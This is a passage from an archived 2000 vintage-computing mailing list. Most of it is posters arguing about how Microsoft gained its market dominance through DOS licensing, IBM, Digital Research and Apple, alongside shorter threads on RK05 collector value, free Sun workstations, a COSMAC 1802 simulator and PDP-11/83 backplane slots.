with Seatle Computer Products, but a non-exclusing license with IBM and thus they helped with the emerging PClone market (and I think it was Compaq's clean-room implementation of the IBM PC BIOS that clinched the market). Also, of the three operating systems available for the IBM PC in August of 1981, MS-DOS was the cheapest of the three, even beating out Digital Research's CP/M-86. William Henry Gates, III was able to leverage any advantage he had, and he did. -spc (And the rest, they say, is history) From edick at idcomm.com Sun May 7 00:03:48 2000 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:37 2005 Subject: I wrote 'Nuke Redmond' References: <200005070132.e471Wqr16115@admin.cgocable.net> Message-ID: <001501bfb7e1$a18a8e40$0400c0a8@winbook> Now, please take a look at my additional comments embedded below. I know they make this message long, but I dislike posting my remarks separately from the context to which they refer. Dick ----- Original Message ----- From: To: Sent: Saturday, May 06, 2000 3:37 PM Subject: Re: I wrote 'Nuke Redmond' > > snip > > > > > > > > > Well that works out nicely for you, but for many of the rest of us, M$ > > > products are designed to solve problems we don't have, and totally fail > > > to address the problems we *do* have. It's designed for the drooling > > > masses *only*, it's absolutely not good for normal utility use by nerds. > > > > That's because use by nerds is seldom normal. > It's the fact that the drooling masses have money that makes these computers cheap and ubiquitous. > > Let me switch this comments around: > > Nerds usually know what they doing correctly with common sense. The > people out in the wild usually breaks M$ stuff because it has too > much ways to happen. > My experience with nerds would suggest that they believe that, but I don't. > > Like Allison's comments about user space kept away from OSes and this > limits the blowups if a typical user make an miss is spot on. > I've never experienced this before, but I'm having difficulty parsing this sentence. > > Best devices are those very limited functions that does their > intended functions and no more. Examples: electronic reminder and > scheduler devices with personal data like birthdays, appts etc. > Another one that would do very well are web surfer, i-opener, email > devices such as Vtech w/modem built in and like for common users. > I'm inclined to agree, but that only applies to devices wherein NO provision for future growth is built in. I'm not familiar with the iopener, nor am I a particular fan of the way in which the "little" electronic notepads are made or used. > > What is missing is real innvoative user-interface (ala i-opener > style) for office applications and hide the OS and be Untouchable. > Again, I'm more inclined to wait until a product has been proven entirely satisfactory before I'm inclined to buy another from the same vendor. Most of y MS stuff is free, so I can't complain. > > win9x is more suitable for users who should know bit more clueful > with common sense to get help and not like "mmm, try this one?" > like Mr Simpson would do and push a button. Boom! > Frankly, I don't like the GUI. It has advantages, primarily in that it purportedly provides a monolithic structure for device drivers, thereby making a device accessible to all properly written applications. I liked things better when graphics happened only when you needed graphics, and the rest of the time the machine was strictly used from the command line. > > win9x, Unices, Vaxens, Linux is more of nerd's dormain and clueful > users who know better to call for help first if some kind of problems > becomes out of their depth understanding how to deal with it. > I can't agree with that! It's essentially a contradiction of what you've previously stated. Nevertheless, I'd say the the UNIX and others of that ilk were designed for use by and for nerds, from the standpoint that producing software is useful work. That's only true if you're a software vendor. If you're in the business of selling tires, or of making them, generating software is overhead that you'd like to avoid. IIRC, there were a couple of UNIX-like systems for the VAX, not to mention VMS, which was quite respectable, particularly for production tasks for which UNIX was considered most unsuitable. From the console, or farther away, it didn't look much different than UNIX. I've never liked things that said DIGITAL on them, hence never got too friendly with VMS. > > I find NT more of configuring and using without enough understanding > and things go bump in the night often, tons of BODs and kernel dumps. > I find this takes full understanding how hardware interacts with this > NT and use software drivers correctly to make sure it's reliable > enough. Also doing configurations in software especially in > networking stuff takes lot of understanding because I find reading > the wood ludicious especially without looking at whole picture why > OS or software barfed. Probs I find are: with hardware > mis-configuration and shoddy installation, 4/10 of that in software > or sloppily written drivers and/or software, 1/10th of that in true > hardware failures flaking out and low quality hardware parts or wrong > type used for given OS. > I think this goes back to the VERY ambitious attempt to establish a standard for Plug-n-Play, among other things. Unfortunately, when a committee tries to build a standard, it normally has lots of clauses and no teeth. Consequently, the Plug-n-Play became Plug-N-Pray. That's why the interrupt steering is different each time you go and fiddle with drivers, hardware, etc. It's almost by accident, and only by accident that I get through the installation of some video drivers. They always seem to "reach out and touch" something when least expected to do so. > > > > I recently installed Win98SE in the hope that it would be more reliable > > > for web browsing than Win98 was (on my machine, W98 was very flakey about > > > connecting to the net, and the video driver ignored my settings and always > > > ran in 640x480x16 mode), but the stupid thing has already locked up the > > > machine several times while sitting totally idle. > > Check that "power management" and cooling, insure memory is good. > Even top of 1 grand dollars Diagnostic stuff aka the best of world > will not detect this. I know, because I fixed few times like this > and had to rely on softwares and good working hardware to cause DUT > to act up and alteratively turn off and on one settings in bios one > at a time to flush out the problem. Had to do that on a motherboard > using win9x and bunch of games, sound card. This problem finally > solved it by swapping out pair of soldered 512K pipelined cache > chips. When I turned off that faulty cache part in bios, everything > went plum and sweet, got even better when CORRECT part got replaced. > I've yet to see a respectable set of diagnostic software for the PC. With as much memory as most people are expected to have, I imagine a thorough diagnostic of read/write memory would take about 50 years. I've yet to see a diagnostic that's capable of detecting faulty external cache. Most of the diagnostic programs I have are incapable of testing current generation hardware. No matter what steps I take, the failures are always undetected until after the system is delivered. Software, likewise, seems to go largely untested throughout the industry. For several years, it was almost impossible to buy a backup utility for Win9x, because none of the available utilities would work. I tested several, as part of a contracted task, and found that one (then) major vendor's software wouldn't finish its task. Another would back-up, but wouldn't restore. There were lots of other problems, but I find it criminal that software vendors are allowed to sell products that don't work at all. > > Even the unmanageable IRQs got shifted when I toggle certain parts in > bios menu. Many didn't realize the power of managing this by this > route. > I make it a practice to disable or even physically remove sound hardware. It uses three interrupts and two DMA's under worst-case conditions and I prefer my computers to be quiet. I keep one sound-equipped machine available in case I need to process sound (.dat) files, but normally avoid having it installed. > > > This is because you're not installing your video driver correctly. It often > > means you must delete the driver that appears in "Device Manager" before > > proceeding. This is often a problem when W9x knows about several versions > > of the same hardware. That's also why they refer to the common installation > > mode as "lug-n-pray." It defaults to the lowest common denominator. If you > > then install the driver precisely written for your version of the hardware > > in question, it will work fine. If you're off, even by one bit, your're > > stuck with the lowest common denominator, however. > > Any hardware drivers not just for video no matter what. Once in > awhile drivers breaks or win 9x actually lost a soundcard, happened > to me few times before and two programs didn't give any errors other > than both refused to start which deepens the mystery till I check DM. > > > I feel forced to point out that although the W9x isn't even near to being > > perfect, it's one heck of a lot better for the "average" home user than any > > version of *NIX or any other commercially offered OS. The half-day install > > for OS/2 (admittedly last attempted when OS/2 was new) would certainly > > discourage these "average" users. Moreover, Win9x wouldn't cost <$100 if it > > weren't for the fact that the "average" user buys a computer and the > > software he wants. Not only would Win9x not exist, but if it did exist in > > spite of the lack of home users, it would cost like VMS. The hardware would > > cost quite a bit more, too. > > @100 bux is upgrade version for any 9x always. Ones that is true > version without buying a computer or certain items is over $300. > And another way is to buy whole new system which is too much for me. > "List" price for the first-install version is $249, though I doubt the discount chains are charging that much. I recently saw the SE update for $85. Next time I'm at Best Buy, I'll check on both versions. > > That is why I'm angry at M$. And still running on 95a upgrade version. > Well, it's no wonder that you're irritated with M$. That 95A version was a sizeable step back from the betas. I'd upgrade to '98SE if possible. I have had really much better results with /98 than with 95, even with OSR2. What's more, I'd avoid loading Netscape. I've found that when somebody with Netscape loaded on their portable drives up into my driveway, the systems in the house start to act squirrely. It not even necessary that the foreign notebook be attached to the net. > Maybe Windows isn't for you. I use it because it's hard not to. I have half a dozen LINUX versions none of which has been left installed for more than a day or two, and they wouldn't meet my needs. Likewise, I've not gotten a comfortable feeling with SCO, UnixWare, etc. for the '386 and up types. > > Wizard > From allisonp at world.std.com Sat May 6 22:27:01 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:37 2005 Subject: I wrote 'Nuke Redmond' Message-ID: <013801bfb7da$1d640170$7464c0d0@ajp166> >That is backwards. The law, and common sense, requires >that you already have to have significant market share >to have monopoly power. Monopoly power is the ability >to control prices and exclude competition by virtue of >monopoly power. To me, the question is, how did MS >achieve that power in the first place. There is no >doubt that once they had the power they abused it -- It started with the licensing of DOS at the vendor level to the extent that if the hardware could run dos it had to be licensed. Some of us may remember the early machines the the "jumper" to disable dos. the is was to inhibit the CP/M follow ons, Netware and the unix varients. This first lockin of the vendors was exploited for the windows software that followed. It would also get the DOJ to issue an aggreement back some years for MS to stop this monopolistic activity. Thats how the got the power. The money came from the applications and MS was known for them and never cheap. Allison From edick at idcomm.com Sun May 7 00:18:49 2000 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:37 2005 Subject: I wrote 'Nuke Redmond' References: Message-ID: <002301bfb7e3$bc8bc900$0400c0a8@winbook> ----- Original Message ----- From: Mike Ford To: Sent: Saturday, May 06, 2000 8:44 PM Subject: Re: I wrote 'Nuke Redmond' > >There's only one reason that MS has the market share they do, and it's quite > >simple: IBM. It works like this; 1)IBM comes up with the PC. 2)Asks MS to > > MS has the market share it has by targeting competition and ruthless use of > its monopoly powers, seconded only by a long string of defective products > requiring expensive software updates that fueled a marketing warchest > unprecidented in human history. Paul Allen said it himself, "nobody ever > guessed the obscene profits possible from upgrades." > Would you care to elaborate on the practices of "targeting competition and ruthless use ..." I've hear about this, but I'd like to know what this actually means. It seems OK when DEC or IBM or someone else did the same thing, often much more with the intention of screwing anybody and everybody foolish enough to buy their products, and I'd also like to know why the historical account of the history of MS has to change every time someone needs it to in order to support their position. What I mean, of course, is that on one hand we have this company that's not yet 25 years old, and that had a substantial quiver of products out there back in the late '70's, essentially a monopoly on the market for commercially viable BASIC interpreters/compilers, not to mention other languages. They weren't considered an evil monopoly back then, when one might, indeed, have perceived them to be one. Upgrades do cost money, and there's no crime in exploiting the fact that people want the "latest and greatest" of whatever they use. I personally use the old (Windows 3.1) version of Office on a couple of my boxes, simply because it's easy and I already have it. This one here has the Office '97, and there won't be an upgrade until I get one in the mail, for free of course. > > This is the sickest aspect of the whole computer industry, ALL of the > companies that made fairly good reliable products went under from the flood > of dollars the BAD heavily marketed software generated via updates. > Well, I wish a few more of them would go. I can't imagine what companies, now defunct, produced this set of "fairly good reliable products " have gone down the toilet because they were outspent or outmarketed by MS. An example or two would be nice. > > Its a bleeping cynics playground. > > From edick at idcomm.com Sun May 7 00:30:46 2000 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:37 2005 Subject: I wrote 'Nuke Redmond' References: <00ae01bfb7d6$588bbb20$9d9fb2d1@Smith.earthlink.net> Message-ID: <002701bfb7e5$68128060$0400c0a8@winbook> This message makes good sense, but I do have a few embedded comments below. Dick ----- Original Message ----- From: Wayne M. Smith To: Sent: Saturday, May 06, 2000 9:43 PM Subject: Re: I wrote 'Nuke Redmond' > > MS has the market share it has by targeting > competition and ruthless use of > > its monopoly powers > > That is backwards. The law, and common sense, requires > that you already have to have significant market share > to have monopoly power. Monopoly power is the ability > to control prices and exclude competition by virtue of > monopoly power. To me, the question is, how did MS > achieve that power in the first place. There is no > doubt that once they had the power they abused it -- > that is what the DOJ's case is all about. But it seems > to me that they must have done something "right" to get > the power in the first place, such as Windows 3.1 or > some such. When you don't have monopoly power, > targeting competition is not only not illiegal, it's > what the free market encourages because that's what > USUALLY benefits consumers in the long run. > I have to agree with this. What happens in the computer world, however, is that once a given OS becomes popular, it takes over the market, mainly because people can't exchange information, or at least couldn't back when this was happening, because the operating systems were not designed for that. Therefore, if I wanted sales, shipping, bookkeeping, and production to be automated in a common framework, they all had to have the same OS. The fact that PC network cards didn't support TCP/IP until late in the game meant that other network OS' had that share of the market until about the time Win95 became available. It's no coincidence, by the way, that this blessed event took place only a few months after the GOV decided to open the WWW to commercial interests. I'd really like a couple of examples of software companies with decent products that were put out of business as a direct result of Microsoft's adverse actions, with the exception, of course, of producing a vastly better product. If you simply look at what Apple did with their extremely (for all the wrong reasons) popular Mac, you'll see that they did all the bad stuff now being attributed to MS. When you're in business to make money, you go after your competitors any way you can. Apple did that with their "big-brother" commercials on TV. Their product, though "cute," was no more capable than an equivalently equipped PC, and cost over three times as much. They prevented everyone else from competing with them in the hardware and software arenas, and ultimately the price and availability of Mac products ran them out of the marketplace. From edick at idcomm.com Sun May 7 00:43:41 2000 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:37 2005 Subject: I wrote 'Nuke Redmond' References: <013801bfb7da$1d640170$7464c0d0@ajp166> Message-ID: <004901bfb7e7$35f15500$0400c0a8@winbook> I can't leave this one alone either. Dick ----- Original Message ----- From: allisonp To: Sent: Saturday, May 06, 2000 9:27 PM Subject: Re: I wrote 'Nuke Redmond' > >That is backwards. The law, and common sense, requires > >that you already have to have significant market share > >to have monopoly power. Monopoly power is the ability > >to control prices and exclude competition by virtue of > >monopoly power. To me, the question is, how did MS > >achieve that power in the first place. There is no > >doubt that once they had the power they abused it -- > I've seen/heard of little evidence of that. Though there have been lots of references to such actions. They've been ruthless, yes, but not criminal, though some judge lacking in the grey matter to see the obvious, has been horswoggled into believing what a bunch of MS-haters tell him. > > It started with the licensing of DOS at the vendor level to the > extent that if the hardware could run dos it had to be licensed. > Some of us may remember the early machines the the > "jumper" to disable dos. { the is } was to inhibit the CP/M ^^^^^^^^ > follow ons, Netware and the unix varients. > I'm not sure I know what you mean here. I had a '186-based machine that ran DOS and CP/M-86. I didn't like either well enough to give up CP/M-80, BTW. > > This first lockin of the vendors was exploited for the windows > software that followed. It would also get the DOJ to issue > an aggreement back some years for MS to stop this > monopolistic activity. > Are you sure you'renot taking this one step too far, Allison? > > Thats how the got the power. The money came from the > applications and MS was known for them and never cheap. > No, they weren't cheap, but they were among the cheapest of the bunch. Other vendors' office automation software typically cost more than Microsoft's. I wasn't unhappy to see Lotus' offering and WordPerfect's go, though I liked the WP v5.1 for DOS and the surrounding office software suite. They never got going under Windows, (v3.0, 1990) however. > > Allison > From whdawson at mlynk.com Sun May 7 01:02:19 2000 From: whdawson at mlynk.com (Bill Dawson) Date: Sun Feb 27 18:52:37 2005 Subject: value of RK05 In-Reply-To: Message-ID: <001e01bfb7e9$cd7dcd20$a5e3dfd0@cobweb.net> -> Oh well... 2 interests (old radios and old clocks) gone already. Same here as far as old (1919 to 1950's) radios go. Can you say Catalan, boys and girls? -> Now I'm likely to leave classic computing as well. Well, I'll be here until the value of an old (vintage) computer is based on the style of the cabinet or the material the cabinet is made of. By that time, the computer museums will be well established and properly representative of this era. I won't have any qualms then about selling my vintage computer equipment to a "collector", because by then the rarest and best of mine will have been donated to the museums and the "collectors" will fund my retirement pastimes. Do you plan on donating the best yours or just feeding the frenzy? -> Looks like it's time to find some other interesting form of machinery to investigate. Like what, articulated Beanie Babies??? -> > 12 bit computers were obsolete at the end of the '60s. A 12 -> bit computer -> -> So presumably you think all 4 and 8 bit microprocessors were obsolete -> when they were designs. I doubt you'll find too many people who'll agree -> with that. Obsolescence is generally defined as being when a large percentage of the original using population no longer uses an item because something better or cheaper as come along. As far as I'm concerned, if something still does the job, it is not obsolete. Last weekend I rescued a working VHS VCR from the curbside, with the remote control and original instruction book. It was in the box of the VCR that had replaced it. It is only a 2 head unit, mono audio. Is it obsolete? Not to me. The portable TV I use with it is only mono audio anyway. Is my Betamax Beta Hi-Fi SLR-1200 obsolete? It's over 16 years old and is still working just fine. I can still view all my Beta tapes on it. Is my Signal Corps AC generator obsolete just because it has a 6 cylinder Willy's engine and last saw real use in WWII? Not to me when the power goes off. -> > built 6 years after they were *totally* useless is not my cup -> of tea... and Obsolescence is in the eyes of the user. If someone buys something new, but the technology is a little outdated, what does it matter? The purchase is for the function, not the format. -> 'Totally useless'??? Considering they were sold for about another 10 -> years, and considering I still get to see them (and repair them) -> embedded in machine tools, analytical instruments, etc, I'd not call them totally -> useless. -> -> I know a number of people who'd love to be able to program, and hack -> about on, a real PDP8. Any model. Even an 8/a. -> -> No, they won't pay 'collector' prices for it, but honestly I wonder how -> 'genuine' these prices are. -> -> > Preservation comes in many packages. If I can use the -> peripherals from one -> > *new*, very common computer in an old one then I would prefer -> to increase -> > the value and use of the old computer. If the subscribers on -> this list tried -> -> Ah, that word 'value' again... I have no desire to increase the value of -> anything. -> -> I'd rather have as many machines working as possible. Oh, sure I move -> peripherals between machines -- some of the interfaces on my -> 11/45 came off -> some of my 11/34 machines, but those 11/34s are still working, and still -> have enough interfaces to be useful. -> -> > to preserve every computer they got then they would probably be using -> > COCO-2s for insulation in their homes ;-). My objective has -> always been to -> > preserve any computer built before 1973 - and I have saved -> well over 60 of -> -> My aims are rather different. Yes, I'd preserve anything before -> 1973 that -> I could get my hands on. I'd preserve a lot of significant machines -> _after_ that date as well. -> -> But the main reason I do this is to (a) preserve the knowledge that goes -> with those machines (design techniques, operating methods, etc), (b) to -> allow certain other enthusiasts over here the chance to use machine that -> they otherwise wouldn't be able to see. I started doing this when I -> realised that a lot of my friends (this was back in the mid -> 1980s, FWIW) had -> never used a front panel and had never used paper tape or punched cards. -> -> From wmsmith at earthlink.net Sun May 7 01:12:38 2000 From: wmsmith at earthlink.net (Wayne M. Smith) Date: Sun Feb 27 18:52:37 2005 Subject: I wrote 'Nuke Redmond' References: <200005070402.AAA24938@armigeron.com> Message-ID: <00c601bfb7eb$3f22b520$9d9fb2d1@Smith.earthlink.net> > William Henry Gates, III was able to leverage any advantage he had, and he > did. Well leveraging, that's different. If you use your monopoly power in one market (such as OS) to exclude competition in another market (browser) then that's a no-no. Perhaps that's what Richard intended. From whdawson at mlynk.com Sun May 7 01:54:32 2000 From: whdawson at mlynk.com (Bill Dawson) Date: Sun Feb 27 18:52:37 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <002701bfb7e5$68128060$0400c0a8@winbook> Message-ID: <001f01bfb7f1$18e00880$a5e3dfd0@cobweb.net> --> If you simply look at what Apple did with their extremely (for all the wrong -> reasons) popular Mac, you'll see that they did all the bad stuff now being -> attributed to MS. When you're in business to make money, you go after your -> competitors any way you can. Apple did that with their "big-brother" -> commercials on TV. Their product, though "cute," was no more capable than -> an equivalently equipped PC, and cost over three times as much. They -> prevented everyone else from competing with them in the hardware and -> software arenas, and ultimately the price and availability of Mac products -> ran them out of the marketplace. If you look at the legal aspects of the Apple vs. Franklin lawsuit, back in the Apple II days, you can see that had Franklin properly argued, they would have won. It *was* impossible to separate the software from the firmware at the time Franklin copied Apple's ROMs. Even though Apple had the approved set of firmware entry points for third party software development, they looked the other way as all parties used every and any useable subroutine they could find in the firmware. Franklin had no choice to do anything *but* exactly duplicate the Apple firmware to ensure software written for the Apple II would run on their machine. Even Apple had a rough time of it trying to maintain compatibility with their own firmware due to software developers departing from the approved ROM subroutines. Look at what MS did to DR.DOS users in the beta testing of Windows. All it took was slight incompatibilities to send the Windows software developers over to the MS DOS camp. How long did DR last after that? And I don't agree that what Apple did with the Mac was for all the wrong reasons. They knew how well the strategy worked with the II series, so why not continue it in the Mac line? People bought Macs because they worked and worked well. The software functioned with minimum of grief and did what it was purchased to do. Third party ad-ons worked as well. Can you say that about PeeCees? Sure, you can buy a PeeCee and the attendant software cheaper, but what value do you place on the many, many hours troubleshooting incompatibilities, reboots, restores, etc., etc. And while I'm on the soapbox, I'll state the obvious. Bill Gates is a shrewd thief and an accomplished liar. About the only original product MS ever had was BASIC. IBM screwed Digital Research with the pricing of CP/M for the PC. Gates was no small part of this. This opened the door to new software that was not a direct port from CP/M, but directly designed with the MS DOS user base in mind. I've been using PC's since the beginning, but I also still prefer a good "closed" OS like PICK for "networked" situations. Remember, DOS was designed for _Personal Computers_, where the first, read that *early*, users were knowledgeable about files, extensions, incompatibilities, an so forth. With PC networking, the base OS didn't change to reflect the fact that users ignorant of the "innards" were now using this OS in an application driven environment, but with access to things forbidden in a strong OS. This has gotten us to where we are now. We have individuals with MS products like Outlook (which I am using right now), who can infect the www networked systems, thereby in-house networked systems, and other individual user's computers worldwide. Not good. Enough rambling for now. Thanks, Dick, for compelling me to put down in words these thoughts. From mikeford at socal.rr.com Sun May 7 00:58:23 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:37 2005 Subject: sun.motherload In-Reply-To: <200005070042.TAA21909@caesar.cs.umn.edu> References: <3914C167.988636E2@alfredtech.edu> from "Scott F. Hall" at "May 6, 2000 08:05:43 pm" Message-ID: >> > $80 each sounds like quite a bit for these machines... >> > >Put them out in the hallway. If the students dont get the clue, then >put a sign up saying 'free - but must take off-campus'. Two different extremes, a typical price is more like $25 to $35 depending on condition and contents, at least here in SoCal. From rutledge at cx47646-a.phnx1.az.home.com Sun May 7 02:29:24 2000 From: rutledge at cx47646-a.phnx1.az.home.com (Shawn T. Rutledge) Date: Sun Feb 27 18:52:37 2005 Subject: sun.motherload In-Reply-To: <39145A24.7979464@alfredtech.edu>; from Scott F. Hall on Sat, May 06, 2000 at 12:45:08PM -0500 References: <003301bfb76a$8cc1f100$7464c0d0@ajp166> <39145A24.7979464@alfredtech.edu> Message-ID: <20000507002924.Q18263@electron.quantum.int> On Sat, May 06, 2000 at 12:45:08PM -0500, Scott F. Hall wrote: > Anyone interested in giving an immediate home to a bunch of Sun > workstations? A college here in western NY state is ready to give a 470 > server and about 20 to 25 assorted IPCs, IPXs, and pizza boxes to anyone I might be interested in a machine or two but not the whole bunch. Especially if there's some higher end pizza boxes hiding in there... -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://www.bigfoot.com/~ecloud kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ Get money for spare CPU cycles at http://www.ProcessTree.com/?sponsor=5903 From kbd at ndx.net Sun May 7 02:33:00 2000 From: kbd at ndx.net (Kirk Davis) Date: Sun Feb 27 18:52:37 2005 Subject: COSMAC 1802 Simulator In-Reply-To: Message-ID: OK - I finally got my simulator going with Tiny Basic (what a nightmare). If put together a package with the source, sample programs, and docs: www.ndx.net/cosmac Feedback is very welcome! Kirk From spc at armigeron.com Sun May 7 02:38:21 2000 From: spc at armigeron.com (Sean 'Captain Napalm' Conner) Date: Sun Feb 27 18:52:37 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <00c601bfb7eb$3f22b520$9d9fb2d1@Smith.earthlink.net> from "Wayne M. Smith" at May 06, 2000 11:12:38 PM Message-ID: <200005070738.DAA29439@armigeron.com> It was thus said that the Great Wayne M. Smith once stated: > > > William Henry Gates, III was able to leverage any > advantage he had, and he > > did. > > Well leveraging, that's different. If you use your > monopoly power in one market (such as OS) to exclude > competition in another market (browser) then that's a > no-no. Perhaps that's what Richard intended. It's been alleged (several times) that Microsoft has used their power over the operating system to exclude competition in applications (MS- isn't done until doesn't run). Several examples are MS-DOS/Lotus 1-2-3, Windows/DR-DOS, Windows/OS/2 and Windows/Netscape. The most evidence I've ever seen has been the first, MS-DOS (either 1.1 or 2.0) and Lotus 1-2-3. -spc (Leverage, use of monopolistic power, what's the difference? Even Scott McNealy of Sun has publically stated he covets the power Microsoft has.) From spc at armigeron.com Sun May 7 02:43:12 2000 From: spc at armigeron.com (Sean 'Captain Napalm' Conner) Date: Sun Feb 27 18:52:37 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: from "Mike Ford" at May 06, 2000 07:44:29 PM Message-ID: <200005070743.DAA29555@armigeron.com> It was thus said that the Great Mike Ford once stated: > > This is the sickest aspect of the whole computer industry, ALL of the > companies that made fairly good reliable products went under from the flood > of dollars the BAD heavily marketed software generated via updates. Bad software drives out the good. It's simply easier to make bad software and the perception is time to market is the *only* thing that counts. For more on this, read The Rise of ``Worse is Better'' by Richard Gabriel. You can find it at http://www.jwz.org/doc/worse-is-better.html -spc (It bugs me too ... ) From spc at armigeron.com Sun May 7 02:53:02 2000 From: spc at armigeron.com (Sean 'Captain Napalm' Conner) Date: Sun Feb 27 18:52:37 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <001501bfb7e1$a18a8e40$0400c0a8@winbook> from "Richard Erlacher" at May 06, 2000 11:03:48 PM Message-ID: <200005070753.DAA29771@armigeron.com> It was thus said that the Great Richard Erlacher once stated: > > > Like Allison's comments about user space kept away from OSes and this > > limits the blowups if a typical user make an miss is spot on. > > > I've never experienced this before, but I'm having difficulty parsing this > sentence. Basically it means that as a user, if I try to delete the entire filesystem it won't work. I, as a user, don't have the priviledges to delete any old file---if I own them, yes, I can do what I please. But system wide files? Nope. Can't do. Need administrative privs to delete any arbitrary file. I'm of two minds on this---I can see having administrative accounts and I can see not having them. It really depends upon how centralized you want your system(s) set up. > Nevertheless, I'd say the the UNIX and others of that > ilk were designed for use by and for nerds, from the standpoint that > producing software is useful work. That's only true if you're a software > vendor. If you're in the business of selling tires, or of making them, > generating software is overhead that you'd like to avoid. There have been embeded systems based upon UNIX. I know that Taco Bell used to use SCO UNIX in each store to run the cash registers and manage the money/inventory of the store. The SCO boxes at Taco Bell don't have development systems on them---there is no need as embedded systems. > Maybe Windows isn't for you. I use it because it's hard not to. I have > half a dozen LINUX versions none of which has been left installed for more > than a day or two, and they wouldn't meet my needs. Likewise, I've not > gotten a comfortable feeling with SCO, UnixWare, etc. for the '386 and up > types. Different users, different needs. Personally I've been able to use Linux to save what otherwise would have been thrown-away PCs (one is even running my personal website). -spc (One running on a diskless machine) From spc at armigeron.com Sun May 7 02:57:24 2000 From: spc at armigeron.com (Sean 'Captain Napalm' Conner) Date: Sun Feb 27 18:52:37 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <002301bfb7e3$bc8bc900$0400c0a8@winbook> from "Richard Erlacher" at May 06, 2000 11:18:49 PM Message-ID: <200005070757.DAA29788@armigeron.com> It was thus said that the Great Richard Erlacher once stated: > > > This is the sickest aspect of the whole computer industry, ALL of the > > companies that made fairly good reliable products went under from the > flood > > of dollars the BAD heavily marketed software generated via updates. > > > Well, I wish a few more of them would go. I can't imagine what companies, > now defunct, produced this set of "fairly good reliable products " have gone > down the toilet because they were outspent or outmarketed by MS. An example > or two would be nice. Borland? Oh that's right, you don't do software development. Umm ... -spc (Hey, at least that's one ... ) From spc at armigeron.com Sun May 7 03:00:46 2000 From: spc at armigeron.com (Sean 'Captain Napalm' Conner) Date: Sun Feb 27 18:52:37 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <001f01bfb7f1$18e00880$a5e3dfd0@cobweb.net> from "Bill Dawson" at May 07, 2000 02:54:32 AM Message-ID: <200005070800.EAA29900@armigeron.com> It was thus said that the Great Bill Dawson once stated: > > And while I'm on the soapbox, I'll state the obvious. Bill Gates is a > shrewd thief and an accomplished liar. About the only original product MS > ever had was BASIC. IBM screwed Digital Research with the pricing of CP/M > for the PC. Gates was no small part of this. How? Bill Gates just licenced MS-DOS to IBM for a cheaper price than DR did CP/M. I can't see Bill Gates saying to IBM, ``If you don't charge more for CP/M than for MS-DOS, we'll walk.'' Bill Gates is ruthless but not stupid. -spc (Not that I'm trying to defend him or anything ... ) From whdawson at mlynk.com Sun May 7 04:23:52 2000 From: whdawson at mlynk.com (Bill Dawson) Date: Sun Feb 27 18:52:37 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <200005070800.EAA29900@armigeron.com> Message-ID: <002501bfb805$f59cbb60$a5e3dfd0@cobweb.net> -> It was thus said that the Great Bill Dawson once stated: -> > -> > And while I'm on the soapbox, I'll state the obvious. Bill Gates is a -> > shrewd thief and an accomplished liar. About the only -> original product MS ever had was BASIC. IBM screwed Digital Research with the -> pricing of CP/M for the PC. Gates was no small part of this. -> -> How? Bill Gates just licensed MS-DOS to IBM for a cheaper -> price than DR did CP/M. I can't see Bill Gates saying to IBM, ``If you don't -> charge more for CP/M than for MS-DOS, we'll walk.'' Bill Gates is ruthless but not -> stupid. The agreement, IIRC, was that DR wouldn't sue MS for the outright theft of large parts of CP/M used in MS DOS 1.0 (I can feel the heat of the flames already, this was a recent topic) if IBM would offer the choice of either MS DOS or CP/M as the OS on the PC. What Gary and DR overlooked was getting an agreement on the pricing structure. So IBM offered both, MS DOS at $40.00 or thereabouts, and CP/M at $200.00. When Joe Customer was finished shelling out the exorbitant bucks for the hardware where there wasn't much choice in the price, the only savings was in choosing MS over DR. If on the surface IBM was only interested in selling hardware, not applications, what did it matter to Big Blue what OS was on the box, as long as they sold the box. They certainly weren't making much in royalties on MS DOS, considering the low price. Since Gates already knew the money was to be made in software, whether OS or applications, not hardware, and had publicly stated so, he would have certainly been aware enough to "help" IBM with the competing OS's pricing structure, whether by dropping the price of MS DOS once he knew DR's price, or possibly arranging to have IBM price CP/M so much higher. -> -spc (Not that I'm trying to defend him or anything ... ) From mikeford at socal.rr.com Sun May 7 04:48:46 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:37 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <200005070743.DAA29555@armigeron.com> References: from "Mike Ford" at May 06, 2000 07:44:29 PM Message-ID: > For more on this, read The Rise of ``Worse is Better'' by Richard Gabriel. >You can find it at http://www.jwz.org/doc/worse-is-better.html Interesting ideas. From wanderer at bos.nl Sun May 7 07:19:13 2000 From: wanderer at bos.nl (wanderer) Date: Sun Feb 27 18:52:37 2005 Subject: 11/83 backplane info needed References: Message-ID: <39155F41.142E@bos.nl> Hello All, I got an 11/83 in a rack mountable box (5 1/4"), and I would like to know how many of the slots are type A/B and type C/D, as I have a spare 11/83 cpu and a spare 1Mb mem. board, and they are of the types AB & C/D. The backplane is identified as H9278-A and has 8 slots. Thanks, Ed -- The Wanderer | Geloof nooit een politicus! wanderer@bos.nl | Europarlementariers: zakken- http://www.bos.nl/homes/wanderer | vullers en dumpplaats voor Unix Lives! windows95/98 is rommel! | mislukte politici. '96 GSXR 1100R / '97 TL1000S | See http://www.bos.nl/homes/wanderer/gates.html for a funny pic. of Gates! From mikeford at socal.rr.com Sun May 7 05:43:19 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:37 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <004901bfb7e7$35f15500$0400c0a8@winbook> References: <013801bfb7da$1d640170$7464c0d0@ajp166> Message-ID: The working points to tick off are; MS used the profits from OS sales to subsidize the operations of groups competing against the applications of other companies, giving away products if nescessary to force the other company out of business. MS used OS incompatibilities to kill off competing applications. MS used applications incompatibilies to kill off competing 